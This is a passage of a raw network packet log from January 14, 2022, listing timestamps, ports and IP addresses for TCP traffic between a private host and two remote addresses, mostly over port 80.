Jan 14, 2022 01:51:46.473153114 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.473156929 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.473210096 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.473262072 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.473315001 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.473319054 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.473360062 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.473366976 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.473419905 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.473474026 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.473481894 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.473527908 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.473581076 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.473596096 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.473630905 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.473685026 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.473735094 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.473738909 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.473793983 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.473826885 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.473872900 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.473926067 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.473938942 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.473989964 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.474041939 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.474096060 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.474101067 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.474144936 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.474147081 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.474188089 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.474289894 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.474457979 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.524435997 CET	49860	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 01:51:46.551585913 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.553112030 CET	38133	49860	86.107.197.138	192.168.2.3
Jan 14, 2022 01:51:46.553277969 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.594523907 CET	49860	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 01:51:46.904613018 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.979305029 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.979520082 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.980966091 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.055630922 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.056844950 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.056904078 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.056955099 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.057003975 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.057055950 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.057106972 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.057105064 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.057136059 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.057157040 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.057166100 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.057208061 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.057257891 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.057272911 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.057307959 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.057368994 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.131938934 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.132030964 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.132088900 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.132143021 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.132196903 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.132229090 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.132249117 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.132260084 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.132302046 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.132354975 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.132369041 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.132405996 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.132456064 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.132497072 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.132505894 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.132529020 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.132560968 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.132608891 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.132659912 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.132677078 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.132713079 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.132761955 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.132777929 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.132812977 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.132819891 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.132863998 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.132914066 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.132930040 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.207530022 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.207602024 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.207654953 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.207659006 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.207710028 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.207762003 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.207775116 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.207815886 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.207868099 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.207876921 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.207918882 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.207971096 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.207983971 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.208024025 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.208075047 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.208087921 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.208127975 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.208178997 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.208194017 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.208233118 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.208286047 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.208328009 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.208337069 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.208348036 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.208396912 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.208452940 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.208467007 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.208503008 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.208554983 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.208604097 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.208617926 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.208656073 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.208708048 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.208718061 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.208759069 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.208765030 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.208811045 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.208861113 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.208870888 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.208910942 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.208961010 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.208976030 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.209013939 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.209065914 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.209081888 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.209119081 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.209167957 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.209218979 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.209234953 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.209270000 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.209319115 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.209332943 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.209371090 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.209430933 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.284060001 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284125090 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284163952 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284203053 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284244061 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284244061 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.284274101 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.284285069 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284326077 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284343958 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.284364939 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284390926 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.284404039 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284445047 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284480095 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.284482002 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284522057 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284550905 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284580946 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284609079 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284651041 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284687042 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.284688950 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284725904 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284763098 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.284764051 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284789085 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.284805059 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284827948 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.284846067 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284885883 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284902096 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.284923077 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284960985 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.284986019 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.284998894 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285036087 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285073042 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285078049 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.285110950 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285150051 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285161972 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.285187960 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285224915 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285239935 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.285263062 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285300970 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285316944 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.285336971 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285375118 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285388947 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.285412073 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285451889 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285473108 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.285490036 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.285490990 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285535097 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285572052 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285588026 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.285609961 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285660982 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285661936 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.285702944 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285742044 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285757065 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.285779953 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285820007 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285834074 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.285906076 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285955906 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.285965919 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.331564903 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.360565901 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.360626936 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.360666037 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.360707998 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.360747099 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.360780001 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.360784054 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.360816002 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.360825062 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.360826015 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.360842943 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.360867023 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.360907078 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.360920906 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.360946894 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.360985041 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361004114 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.361023903 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361062050 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361098051 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361116886 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.361138105 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361152887 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.361177921 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361217022 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361231089 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.361257076 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361294031 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361311913 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.361331940 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361371040 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361386061 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.361407042 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361445904 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361483097 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361500978 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.361521959 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361529112 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.361565113 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361602068 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361624956 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.361640930 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361680031 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361704111 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.361716032 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361753941 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361790895 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361810923 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.361829996 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361844063 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.361928940 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361972094 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.361996889 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.362008095 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.362047911 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.362085104 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.362103939 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.362123966 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.362133980 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.362164974 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.362201929 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.362221956 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.362240076 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.362279892 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.362296104 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.362315893 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.362354040 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.362377882 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.362390995 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.362447977 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.406698942 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.406769991 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.406909943 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.437160969 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437222004 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437262058 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437299967 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437321901 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.437340975 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437361002 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.437382936 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437419891 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437458038 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437489986 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.437495947 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437515974 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.437551022 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437599897 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437639952 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437659979 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.437679052 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437693119 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.437720060 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437756062 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437773943 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.437793970 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437833071 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437856913 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.437905073 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437942028 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437979937 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.437994003 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.438018084 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438023090 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.438057899 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438097954 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438111067 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.438134909 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438174009 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438210964 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438230991 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.438246965 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438268900 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.438287973 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438325882 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438364029 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438380003 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.438402891 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438416958 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.438440084 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438478947 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438498974 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.438517094 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438556910 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438594103 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438611984 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.438632011 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438647032 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.438671112 CET	80	49863	141.8.194.74	192.168.2.3
